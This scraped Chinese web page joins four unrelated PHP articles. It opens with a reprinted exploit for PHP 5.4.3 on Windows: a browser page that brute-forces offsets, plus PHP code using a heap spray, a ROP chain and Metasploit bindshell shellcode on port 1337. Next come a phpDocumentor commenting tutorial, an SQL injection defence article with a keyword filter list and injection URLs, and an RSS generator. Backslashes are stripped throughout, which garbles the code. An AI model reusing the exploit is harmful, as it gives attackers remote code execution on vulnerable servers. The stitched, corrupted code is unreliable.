一 : PHP 5.4 (5.4.3) Code Execution (Win32) 代码
// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) 
// Exploit author: 0in (Maksymilian Motyl) 
// Email: 0in(dot)email(at)gmail.com 
// * Bug with Variant type parsing originally discovered by Condis 
// Tested on Windows XP SP3 fully patched (Polish) 
=================== 
offset-brute.html 
=================== 
<html><body> 
<title>0day</title> 
<center> 
<font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br> 
<textarea rows=50 cols=50 id="log"></textarea> 
</center> 
<script> 
function sleep(milliseconds) { 
var start = new Date().getTime(); 
for (var i = 0; i < 1e7; i++) { 
if ((new Date().getTime() - start) > milliseconds){ 
break; 
} 
} 
} 
function makeRequest(url, parameters) 
{ 
var xmlhttp = new XMLHttpRequest(); 
if (window.XMLHttpRequest) { 
xmlhttp = new XMLHttpRequest(); 
if (xmlhttp.overrideMimeType) { 
xmlhttp.overrideMimeType('text/xml'); 
} 
} else if (window.ActiveXObject) { 
// IE 
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } 
catch (e) { 
try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } 
catch (e) {} 
} 
} 
if (!xmlhttp) { 
alert('Giving up Cannot create an XMLHTTP instance'); 
return false; 
} 
xmlhttp.open("GET",url,true); 
xmlhttp.send(null); 
return true; 
} 
test=document.getElementById("log"); 
for(offset=0;offset<300;offset++) 
{ 
log.value+="Trying offset:"+offset+"rn"; 
makeRequest("0day.php?offset="+offset); 
sleep(500); 
} 
</script></body></html> 
=================== 
0day.php 
=================== 
<?php 
$spray = str_repeat("x90",0x200); 
$offset=$_GET['offset']; 
// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll] 
$spray = substr_replace($spray, "xdaxf0x5dx77", (strlen($spray))*-1,(strlen($spray))*-1); 
// :> 0x048d0030 
$spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1); 
//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll] 
$spray = substr_replace($spray, "x9fxaex52x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1); 
// Adress of VirtualProtect 0x7c801ad4 
$spray = substr_replace($spray, "xd4x1ax80x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1); 
// LPVOID lpAddress = 0x048d0060 www.61k.com 
$spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1); 
// SIZE_T dwSize = 0x01000000 
$spray = substr_replace($spray, "x00x00x10x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1); 
// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0 
$spray = substr_replace($spray, "x40x00x00x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1); 
// __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000 
// 0x048d0068 
$spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1); 
//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll] 
$spray = substr_replace($spray, "xb4xe8xdfx77", (strlen($spray)-0x18)*-1,4); 
// Ret Address = 0x048d0080 
$spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4); 
$stacktrack = "xbcx0cxb0xc0x00"; 
// Universal win32 bindshell on port 1337 from metasploit 
$shellcode = $stacktrack."x33xc9x83xe9xb0". 
"x81xc4xd0xfdxffxff". 
"xd9xeexd9x74x24xf4x5bx81x73x13x1d". 
"xccx32x69x83xebxfcxe2xf4xe1xa6xd9x24xf5x35xcdx96". 
"xe2xacxb9x05x39xe8xb9x2cx21x47x4ex6cx65xcdxddxe2". 
"x52xd4xb9x36x3dxcdxd9x20x96xf8xb9x68xf3xfdxf2xf0". 
"xb1x48xf2x1dx1ax0dxf8x64x1cx0exd9x9dx26x98x16x41". 
"x68x29xb9x36x39xcdxd9x0fx96xc0x79xe2x42xd0x33x82". 
"x1exe0xb9xe0x71xe8x2ex08xdexfdxe9x0dx96x8fx02xe2". 
"x5dxc0xb9x19x01x61xb9x29x15x92x5axe7x53xc2xdex39". 
"xe2x1ax54x3ax7bxa4x01x5bx75xbbx41x5bx42x98xcdxb9". 
"x75x07xdfx95x26x9cxcdxbfx42x45xd7x0fx9cx21x3ax6b". 
"x48xa6x30x96xcdxa4xebx60xe8x61x65x96xcbx9fx61x3a". 
"x4ex9fx71x3ax5ex9fxcdxb9x7bxa4x37x50x7bx9fxbbx88". 
"x88xa4x96x73x6dx0bx65x96xcbxa6x22x38x48x33xe2x01". 
"xb9x61x1cx80x4ax33xe4x3ax48x33xe2x01xf8x85xb4x20". 
"x4ax33xe4x39x49x98x67x96xcdx5fx5ax8ex64x0ax4bx3e". 
"xe2x1ax67x96xcdxaax58x0dx7bxa4x51x04x94x29x58x39". 
"x44xe5xfexe0xfaxa6x76xe0xffxfdxf2x9axb7x32x70x44". 
"xe3x8ex1exfax90xb6x0axc2xb6x67x5ax1bxe3x7fx24x96". 
"x68x88xcdxbfx46x9bx60x38x4cx9dx58x68x4cx9dx67x38". 
"xe2x1cx5axc4xc4xc9xfcx3axe2x1ax58x96xe2xfbxcdxb9". 
"x96x9bxcexeaxd9xa8xcdxbfx4fx33xe2x01xf2x02xd2x09". 
"x4ex33xe4x96xcdxccx32x69"; 
$spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode))); 
$fullspray=""; 
for($i=0;$i<0x4b00;$i++) 
{ 
$fullspray.=$spray; 
} 
$j=array(); 
$e=array(); 
$b=array(); 
$a=array(); 
$c=array(); 
array_push($j,$fullspray); 
array_push($e,$fullspray."W"); 
array_push($b,$fullspray."A"); 
array_push($a,$fullspray."S"); 
array_push($c,$fullspray."!"); 
$vVar = new VARIANT(0x048d0038+$offset); 
// Shoot him 
com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10] 
echo $arr; 
echo $spray; 
?>
二 : PHP Document 代码注释规范
PHPDocumentor是一个用PHP写的工具,对于有规范注释的php程序,它能够快速生成具有相互参照,索引等功能的API文档。老的版本是 phpdoc。
 1. 什么是phpDocumentor ?
 PHPDocumentor是一个用PHP写的工具,对于有规范注释的php程序,它能够快速生成具有相互参照,索引等功能的API文档。老的版本是 phpdoc,从1.3.0开始,更名为phpDocumentor,新的版本加上了对php5语法的支持,同时,可以通过在客户端浏览器上操作生成文档,文档可以转换为PDF,HTML,CHM几种形式,非常的方便。
 PHPDocumentor工作时,会扫描指定目录下面的php源代码,扫描其中的关键字,截取需要分析的注释,然后分析注释中的专用的tag,生成 xml文件,接着根据已经分析完的类和模块的信息,建立相应的索引,生成xml文件,对于生成的xml文件,使用定制的模板输出为指定格式的文件。
 2. 安装phpDocumentor
 和其他pear下的模块一样,phpDocumentor的安装也分为自动安装和手动安装两种方式,两种方式都非常方便:
 a. 通过pear 自动安装
 在命令行下输入
 pear install PhpDocumentor
 b. 手动安装
 在http://manual.phpdoc.org/下载最新版本的PhpDocumentor(现在是1.4.0),把内容解压即可。
 3.怎样使用PhpDocumentor生成文档
 命令行方式:
 在phpDocumentor所在目录下,输入
 Php –h
 会得到一个详细的参数表,其中几个重要的参数如下:
 -f 要进行分析的文件名,多个文件用逗号隔开
 -d 要分析的目录,多个目录用逗号分割
 -t 生成的文档的存放路径
 -o 输出的文档格式,结构为输出格式:转换器名:模板目录。
 例如:phpdoc -o HTML:frames:earthli -f test.php -t docs
 Web界面生成
 在新的phpdoc中,除了在命令行下生成文档外,还可以在客户端浏览器上操作生成文档,具体方法是先把PhpDocumentor的内容放在apache目录下使得通过浏览器可以访问到,访问后显示如下的界面:
 点击files按钮,选择要处理的php文件或文件夹,还可以通过该指定该界面下的Files to ignore来忽略对某些文件的处理。
然后点击output按钮来选择生成文档的存放路径和格式.
 最后点击create,phpdocumentor就会自动开始生成文档了,最下方会显示生成的进度及状态,如果成功,会显示
 Total Documentation Time: 1 seconds
 done
 Operation Completed!!
 然后,我们就可以通过查看生成的文档了,如果是pdf格式的,名字默认为documentation.pdf。
 4.给php代码添加规范的注释
 PHPDocument是从你的源代码的注释中生成文档,因此在给你的程序做注释的过程,也就是你编制文档的过程。
 从这一点上讲,PHPdoc促使你要养成良好的编程习惯,尽量使用规范,清晰文字为你的程序做注释,同时多多少少也避免了事后编制文档和文档的更新不同步的一些问题。
 在phpdocumentor中,注释分为文档性注释和非文档性注释。
 所谓文档性注释,是那些放在特定关键字前面的多行注释,特定关键字是指能够被phpdoc分析的关键字,例如class,var等,具体的可参加附录1.
 那些没有在关键字前面或者不规范的注释就称作非文档性注释,这些注释将不会被phpdoc所分析,也不会出现在你产生的api文当中。
3.2如何书写文档性注释:
 所有的文档性注释都是由/**开始的一个多行注释,在phpDocumentor里称为DocBlock, DocBlock是指软件开发人员编写的关于某个关键字的帮助信息,使得其他人能够通过它知道这个关键字的具体用途,如何使用。 PhpDocumentor规定一个DocBlock包含如下信息:
 1. 功能简述区
 2. 详细说明区
 3. 标记tag
 文档性注释的第一行是功能描述区,正文一般是简明扼要地说明这个类,方法或者函数的功能,功能简述的正文在生成的文档中将显示在索引区。功能描述区的内容可以通过一个空行或者 . 来结束
 在功能描述区后是一个空行,接着是详细说明区,. 这部分主要是详细说明你的API的功能,用途,如果可能,也可以有用法举例等等。在这部分,你应该着重阐明你的API函数或者方法的通常的用途,用法,并且指明是否是跨平台的(如果涉及到),对于和平台相关的信息,你要和那些通用的信息区别对待,通常的做法是另起一行,然后写出在某个特定平台上的注意事项或者是特别的信息,这些信息应该足够,以便你的读者能够编写相应的测试信息,比如边界条件,参数范围,断点等等。
 之后同样是一个空白行,然后是文档的标记tag,指明一些技术上的信息,主要是最主要的是调用参数类型,返回值极其类型,继承关系,相关方法/函数等等。
 关于文档标记,详细的请参考第四节:文档标记。
 文档注释中还可以使用例如<b> <code>这样的标签,详细介绍请参考附录二。
 下面是一个文档注释的例子
  
      | 以下为引用的内容: /*** 函数add,实现两个数的加法
 *
 * 一个简单的加法计算,函数接受两个数a、b,返回他们的和c
 *
 * @param int 加数
 * @param int 被加数
 * @return integer
 */
 function Add($a, $b) {
 return $a+$b;
 }
 生成文档如下:Add
 integer Add( int $a, int $b)
 [line 45]
 函数add,实现两个数的加法
 Constants 一个简单的加法计算,函数接受两个数a、b,返回他们的和c
 Parameters
 ? int $a - 加数
 ? int $b - 被加数
 5.文档标记:
 文档标记的使用范围是指该标记可以用来修饰的关键字,或其他文档标记。
 所有的文档标记都是在每一行的 * 后面以@开头。如果在一段话的中间出来@的标记,这个标记将会被当做普通内容而被忽略掉。
 @access
 使用范围:class,function,var,define,module
 该标记用于指明关键字的存取权限:private、public或proteced
 @author
 指明作者
 @copyright
 使用范围:class,function,var,define,module,use
 指明版权信息
 @deprecated
 使用范围:class,function,var,define,module,constent,global,include
 指明不用或者废弃的关键字
 @example
 该标记用于解析一段文件内容,并将他们高亮显示。Phpdoc会试图从该标记给的文件路径中读取文件内容
 @const
 使用范围:define
 用来指明php中define的常量
 @final
 使用范围:class,function,var
 指明关键字是一个最终的类、方法、属性,禁止派生、修改。
 @filesource
 和example类似,只不过该标记将直接读取当前解析的php文件的内容并显示。
 @global
 指明在此函数中引用的全局变量
 @ingore
 用于在文档中忽略指定的关键字
 @license
 相当于html标签中的<a>,首先是URL,接着是要显示的内容
 例如<a href=”http://www.baidu.com”>百度</a>
 可以写作 @license http://www.baidu.com 百度
 @link
 类似于license
 但还可以通过link指到文档中的任何一个关键字
 @name
 为关键字指定一个别名。
 @package
 使用范围:页面级别的-> define,function,include
 类级别的->class,var,methods
 用于逻辑上将一个或几个关键字分到一组。
 @abstrcut
 说明当前类是一个抽象类
 @param
 指明一个函数的参数
 @return
 指明一个方法或函数的返回指
 @static
 指明关建字是静态的。
 @var
 指明变量类型
 @version
 指明版本信息
 @todo
 指明应该改进或没有实现的地方
 @throws
 指明此函数可能抛出的错误异常,极其发生的情况
 上面提到过,普通的文档标记标记必须在每行的开头以@标记,除此之外,还有一种标记叫做inline tag,用{@}表示,具体包括以下几种:
 {@link}
 用法同@link
 {@source}
 显示一段函数或方法的内容
 6.一些注释规范
 a.注释必须是
 /**
 * XXXXXXX
 */
 的形式
 b.对于引用了全局变量的函数,必须使用glboal标记。
 c.对于变量,必须用var标记其类型(int,string,bool...)
 d.函数必须通过param和return标记指明其参数和返回值
 e.对于出现两次或两次以上的关键字,要通过ingore忽略掉多余的,只保留一个即可
 f.调用了其他函数或类的地方,要使用link或其他标记链接到相应的部分,便于文档的阅读。
 g.必要的地方使用非文档性注释,提高代码易读性。
 h.描述性内容尽量简明扼要,尽可能使用短语而非句子。
 i.全局变量,静态变量和常量必须用相应标记说明
 7. 总结
 phpDocumentor是一个非常强大的文档自动生成工具,利用它可以帮助我们编写规范的注释,生成易于理解,结构清晰的文档,对我们的代码升级,维护,移交等都有非常大的帮助。
 关于phpDocumentor更为详细的说明,可以到它的官方网站
 http://manual.phpdoc.org/查阅
 8.附录
 附录1:
 能够被phpdoc识别的关键字:
 Include
 Require
 include_once
 require_once
 define
 function
 global
 class
 附录2
 文档中可以使用的标签
 <b>
 <code>
 <br>
 <kdb>
 <li>
 <pre>
 <ul>
 <samp>
 <var>
 | 
   
   附录三:
 一段含有规范注释的php代码 :
  
      | 以下为引用的内容: <?php/**
 * Sample File 2, phpDocumentor Quickstart
 *
 * This file demonstrates the rich information that can be included in
 * in-code documentation through DocBlocks and tags.
 * @author Greg Beaver <cellog@php.net>
 * @version 1.0
 * @package sample
 */
 // sample file #1
 /**
 * Dummy include value, to demonstrate the parsing power of phpDocumentor
 */
 include_once 'sample3.php';
 /**
 * Special global variable declaration DocBlock
 * @global integer $GLOBALS['_myvar']
 * @name $_myvar
 */
 $GLOBALS['_myvar'] = 6;
 /**
 * Constants
 */
 /**
 * first constant
 */
 define('testing', 6);
 /**
 * second constant
 */
 define('anotherconstant', strlen('hello'));
 /**
 * A sample function docblock
 * @global string document the fact that this function uses $_myvar
 * @staticvar integer $staticvar this is actually what is returned
 * @param string $param1 name to declare
 * @param string $param2 value of the name
 * @return integer
 */
 function firstFunc($param1, $param2 = 'optional') {
 static $staticvar = 7;
 global $_myvar;
 return $staticvar;
 }
 /**
 * The first example class, this is in the same package as the
 * procedural stuff in the start of the file
 * @package sample
 * @subpackage classes
 */
 class myclass {
 /**
 * A sample private variable, this can be hidden with the --parseprivate
 * option
 * @accessprivate
 * @var integer|string
 */
 var $firstvar = 6;
 /**
 * @link http://www.example.com Example link
 * @see myclass()
 * @uses testing, anotherconstant
 * @var array
 */
 var $secondvar =
 array(
 'stuff' =>
 array(
 6,
 17,
 'armadillo'
 ),
 testing => anotherconstant
 );
 /**
 * Constructor sets up {@link $firstvar}
 */
 function myclass() {
 $this->firstvar = 7;
 }
 /**
 * Return a thingie based on $paramie
 * @param boolean $paramie
 * @return integer|babyclass
 */
 function parentfunc($paramie) {
 if ($paramie) {
 return 6;
 } else {
 return new babyclass;
 }
 }
 }
 /**
 * @package sample1
 */
 class babyclass extends myclass {
 /**
 * The answer to Life, the Universe and Everything
 * @var integer
 */
 var $secondvar = 42;
 /**
 * Configuration values
 * @var array
 */
 var $thirdvar;
 /**
 * Calls parent constructor, then increments {@link $firstvar}
 */
 function babyclass() {
 parent::myclass();
 $this->firstvar++;
 }
 /**
 * This always returns a myclass
 * @param ignored $paramie
 * @return myclass
 */
 function parentfunc($paramie) {
 return new myclass;
 }
 }
 ?>
 | 
   
 三 : PHP中的代码安全和SQL Injection防范
在PHP编码的时候,如果考虑到一些比较基本的安全问题,首先一点:
1. 初始化你的变量
 为什么这么说呢?我们看下面的代码:
  
      | 以下为引用的内容: if ($admin)
 {
 echo '登陆成功!';
 include('admin.php');
 }
 else
 {
 echo '你不是管理员,无法进行管理!';
 }
 | 
   
  好,我们看上面的代码好像是能正常运行,没有问题,那么加入我提交一个非法的参数过去呢,那么效果会如何呢?比如我们的这个页是 http://www.traget.com/login.php,那么我们提交:http://www.target.com/login.php?admin=1,呵呵,你想一些,我们是不是直接就是管理员了,直接进行管理。
当然,可能我们不会犯这么简单错的错误,那么一些很隐秘的错误也可能导致这个问题,比如最近暴出来的phpwind 1.3.6论坛有个漏洞,导致能够直接拿到管理员权限,就是因为有个$skin变量没有初始化,导致了后面一系列问题。
 那么我们如何避免上面的问题呢?首先,从php.ini入手,把php.ini里面的register_global = off,就是不是所有的注册变量为全局,那么就能避免了。但是,我们不是服务器管理员,只能从代码上改进了,那么我们如何改进上面的代码呢?我们改写如下:
  
      | 以下为引用的内容: $admin = 0;      // 初始化变量
 if ($_POST['admin_user'] && $_POST['admin_pass'])
 {
 // 判断提交的管理员用户名和密码是不是对的相应的处理代码
 // ...
 $admin = 1;
 }
 else
 {
 $admin = 0;
 }
   if ($admin){
 echo '登陆成功!';
 include('admin.php');
 }
 else
 {
 echo '你不是管理员,无法进行管理!';
 }
 | 
   
  那么这时候你再提交 http://www.target.com/login.php?admin=1 就不好使了,因为我们在一开始就把变量初始化为 $admin = 0 了,那么你就无法通过这个漏洞获取管理员权限。
 
2. 防止SQL Injection (sql注射)
 SQL 注射应该是目前程序危害最大的了,包括最早从asp到php,基本上都是国内这两年流行的技术,基本原理就是通过对提交变量的不过滤形成注入点然后使恶意用户能够提交一些sql查询语句,导致重要数据被窃取、数据丢失或者损坏,或者被入侵到后台管理。
基本原理我就不说了,我们看看下面两篇文章就很明白了:
 那么我们既然了解了基本的注射入侵的方式,那么我们如何去防范呢?这个就应该我们从代码去入手了。
  我们知道Web上提交数据有两种方式,一种是get、一种是post,那么很多常见的sql注射就是从get方式入手的,而且注射的语句里面一定是包含一些sql语句的,因为没有sql语句,那么如何进行,sql语句有四大句:
select 、update、delete、insert,那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢?
于是我们使用正则就构建如下函数:
  
      | 以下为引用的内容: 
 /*函数名称:inject_check()
 函数作用:检测提交的值是不是含有SQL注射的字符,防止注射,保护服务器安全
 参        数:$sql_str: 提交的变量
 返 回 值:返回检测结果,ture or false
 函数作者:heiyeluren
 */
 function inject_check($sql_str)
 {
 return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str);    // 进行过滤
 }
 | 
   
  我们函数里把 select,insert,update,delete, union, into, load_file, outfile /*, ./ , ../ , ' 等等危险的参数字符串全部过滤掉,那么就能够控制提交的参数了,程序可以这么构建:
  
      | 以下为引用的内容: <?php
 if (inject_check($_GET['id']))
 {
 exit('你提交的数据非法,请检查后重新提交!');
 }
 else
 {
 $id = $_GET['id'];
 echo '提交的数据合法,请继续!';
 }
 ?>
 | 
   
  假设我们提交URL为:http://www.target.com/a.php?id=1,那么就会提示:
"提交的数据合法,请继续!"
如果我们提交 http://www.target.com/a.php?id=1' select * from tb_name
就会出现提示:"你提交的数据非法,请检查后重新提交!"
 那么就达到了我们的要求。
 但是,问题还没有解决,假如我们提交的是 http://www.target.com/a.php?id=1asdfasdfasdf 呢,我们这个是符合上面的规则的,但是呢,它是不符合要求的,于是我们为了可能其他的情况,我们再构建一个函数来进行检查:
  
      | 以下为引用的内容: 
 /*函数名称:verify_id()
 函数作用:校验提交的ID类值是否合法
 参        数:$id: 提交的ID值
 返 回 值:返回处理后的ID
 函数作者:heiyeluren
 */
 function verify_id($id=null)
 {
 if (!$id) { exit('没有提交参数!'); }    // 是否为空判断
 elseif (inject_check($id)) { exit('提交的参数非法!'); }    // 注射判断
 elseif (!is_numeric($id)) { exit('提交的参数非法!'); }    // 数字判断
 $id = intval($id);    // 整型化
 
 return  $id;
 }
 | 
   
   呵呵,那么我们就能够进行校验了,于是我们上面的程序代码就变成了下面的:
  
      | 以下为引用的内容: <?php
 if (inject_check($_GET['id']))
 {
 exit('你提交的数据非法,请检查后重新提交!');
 }
 else
 {
 $id = verify_id($_GET['id']);    // 这里引用了我们的过滤函数,对$id进行过滤
 echo '提交的数据合法,请继续!';
 }
 ?>
 | 
   
  好,问题到这里似乎都解决了,但是我们有没有考虑过post提交的数据,大批量的数据呢?
比如一些字符可能会对数据库造成危害,比如 ' _ ', ' % ',这些字符都有特殊意义,那么我们如果进行控制呢?还有一点,就是当我们的php.ini里面的magic_quotes_gpc = off 的时候,那么提交的不符合数据库规则的数据都是不会自动在前面加' '的,那么我们要控制这些问题,于是构建如下函数:
  
      | 以下为引用的内容: /*
 函数名称:str_check()
 函数作用:对提交的字符串进行过滤
 参    数:$var: 要处理的字符串
 返 回 值:返回过滤后的字符串
 函数作者:heiyeluren
 */
 function str_check( $str )
 {
 if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否打开
 {
 $str = addslashes($str);    // 进行过滤
 }
 $str = str_replace("_", "_", $str);    // 把 '_'过滤掉
 $str = str_replace("%", "%", $str);    // 把' % '过滤掉
 
 return $str;
 }
 
 | 
   
  OK,我们又一次的避免了服务器被沦陷的危险。
  最后,再考虑提交一些大批量数据的情况,比如发贴,或者写文章、新闻,我们需要一些函数来帮我们过滤和进行转换,再上面函数的基础上,我们构建如下函数:
  
      | 以下为引用的内容: /*
 函数名称:post_check()
 函数作用:对提交的编辑内容进行处理
 参    数:$post: 要提交的内容
 返 回 值:$post: 返回过滤后的内容
 函数作者:heiyeluren
 */
 function post_check($post)
 {
 if (!get_magic_quotes_gpc())    // 判断magic_quotes_gpc是否为打开
 {
 $post = addslashes($post);    // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤
 }
 $post = str_replace("_", "_", $post);    // 把 '_'过滤掉
 $post = str_replace("%", "%", $post);    // 把' % '过滤掉
 $post = nl2br($post);    // 回车转换
 $post= htmlspecialchars($post);    // html标记转换
 
 return $post;
 }
 | 
   
  呵呵,基本到这里,我们把一些情况都说了一遍,其实我觉得自己讲的东西还很少,至少我才只讲了两方面,再整个安全中是很少的内容了,考虑下一次讲更多,包括php安全配置,apache安全等等,让我们的安全正的是一个整体,作到最安全。
 最后在告诉你上面表达的:1. 初始化你的变量  2. 一定记得要过滤你的变量。
四 : PHP代码生成RSS 文档
      | 以下为引用的内容: <?php//for PHP 4.x/5.x/6.x
 header("Content-Type:text/xml; charset=gb2312");
 echo "<?xml version="1.0" encoding="gb2312"?>n";
 echo "<rss version="2.0">n";
 echo "<channel>n";
 echo "<title><![CDATA[“十万个为什么”电脑学习网-办公自动化频道]]></title>n";
 echo "<description><![CDATA[http://why100000.com]]></description>n";
 echo "<link>http://why100000.com/</link>n";
 echo "<language>zh-cn</language>n";
 echo "<docs>WHY100000.COM Document Center</docs>n";
 echo "<generator>Rss Generator ByWWW.WHY100000.COM</generator>n";
 $title = "PPS 有图像没声音的四个解决方法";
 $link = "http://www.why100000.com/show_answer.asp?autoid=1046&Path=_oa";
 $description = "PPS 有图像没声音的四个解决方法:今天打开PPS,发现只有图像却听不到声音,其他的程序声音都是正常的,说明是PPS的问题了,那么怎么样解决这…n";
 $author = "why100000.com";
 $pubDate = "2008-4-20 18:22:28";
 create_item($title, $link, $description, $author, $pubDate);
 echo "</channel></rss>n";
 function create_item($title_data, $link_data, $description_data, $author_data, $pubDate_data)
 {
 echo "<item>n";
 echo "<title><![CDATA[$title_data]]></title>n";
 echo "<link><![CDATA[$link_data]]></link>n";
 echo "<description><![CDATA[$description_data]]></description>n";
 echo "<author><![CDATA[$author_data]]></author>n";
 echo "<pubDate><![CDATA[$pubDate_data]]></pubDate>n";
 echo "</item>n";
 }
 ?>
 | 
   
     本文标题:
php代码-PHP 5.4 (5.4.3) Code Execution (Win32) 代码  本文地址:  
http://www.61k.com/1055519.html